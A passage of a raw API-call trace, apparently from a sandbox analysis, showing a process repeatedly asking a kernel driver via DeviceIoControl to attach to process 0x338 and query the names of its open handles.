lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0093.642] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.642] PsAcquireProcessExitSynchronization () returned 0x0 [0093.642] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.642] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0093.642] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.642] PsReleaseProcessExitSynchronization () returned 0x2 [0093.642] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.642] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.642] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0093.642] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.642] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.642] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.642] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.642] PsAcquireProcessExitSynchronization () returned 0x0 [0093.642] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.642] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0093.642] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.642] PsReleaseProcessExitSynchronization () returned 0x2 [0093.642] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.642] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.642] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0093.642] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.642] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.642] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0093.642] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.642] PsAcquireProcessExitSynchronization () returned 0x0 [0093.642] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.642] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0093.643] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.643] PsReleaseProcessExitSynchronization () returned 0x2 [0093.643] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.643] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.643] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0093.643] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.643] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.643] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.643] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.643] PsAcquireProcessExitSynchronization () returned 0x0 [0093.643] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.643] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0093.643] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.644] PsReleaseProcessExitSynchronization () returned 0x2 [0093.644] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.644] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.644] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0093.644] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.644] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.644] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.644] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.644] PsAcquireProcessExitSynchronization () returned 0x0 [0093.644] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.644] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0093.644] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.644] PsReleaseProcessExitSynchronization () returned 0x2 [0093.644] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.644] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.644] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0093.644] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.644] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.644] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.644] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.644] PsAcquireProcessExitSynchronization () returned 0x0 [0093.644] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.644] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0093.644] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.644] PsReleaseProcessExitSynchronization () returned 0x2 [0093.644] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.644] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.644] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0093.644] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.644] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.645] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.645] PsAcquireProcessExitSynchronization () returned 0x0 [0093.645] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.645] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0093.645] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.645] PsReleaseProcessExitSynchronization () returned 0x2 [0093.645] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.645] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.645] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0093.645] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.645] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.645] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.645] PsAcquireProcessExitSynchronization () returned 0x0 [0093.645] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.645] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0093.645] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.645] PsReleaseProcessExitSynchronization () returned 0x2 [0093.645] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.645] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.645] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0093.645] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.645] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0093.645] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.645] PsAcquireProcessExitSynchronization () returned 0x0 [0093.645] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.645] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0093.645] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.645] PsReleaseProcessExitSynchronization () returned 0x2 [0093.645] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.645] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.646] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0093.646] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.646] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.646] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.646] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.646] PsAcquireProcessExitSynchronization () returned 0x0 [0093.646] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.646] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0093.646] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.646] PsReleaseProcessExitSynchronization () returned 0x2 [0093.646] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.646] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.646] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0093.646] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.646] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.646] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.646] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.646] PsAcquireProcessExitSynchronization () returned 0x0 [0093.646] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.646] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0093.646] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.646] PsReleaseProcessExitSynchronization () returned 0x2 [0093.646] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.646] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.646] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0093.646] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.646] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.646] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.646] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.646] PsAcquireProcessExitSynchronization () returned 0x0 [0093.647] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.647] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.647] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.647] PsReleaseProcessExitSynchronization () returned 0x2 [0093.647] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.647] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.647] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.647] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.647] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.647] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0093.647] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.647] PsAcquireProcessExitSynchronization () returned 0x0 [0093.647] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.647] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0093.647] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.647] PsReleaseProcessExitSynchronization () returned 0x2 [0093.647] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.647] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.647] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0093.647] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.647] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.647] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0093.647] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.647] PsAcquireProcessExitSynchronization () returned 0x0 [0093.647] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.647] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0093.647] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.647] PsReleaseProcessExitSynchronization () returned 0x2 [0093.648] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.648] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.648] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0093.648] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.648] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.648] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.648] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.648] PsAcquireProcessExitSynchronization () returned 0x0 [0093.648] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.648] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0093.648] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.648] PsReleaseProcessExitSynchronization () returned 0x2 [0093.648] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.648] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.648] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0093.648] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.648] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.648] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0093.648] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.648] PsAcquireProcessExitSynchronization () returned 0x0 [0093.648] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.648] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0093.648] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.648] PsReleaseProcessExitSynchronization () returned 0x2 [0093.648] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.648] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: 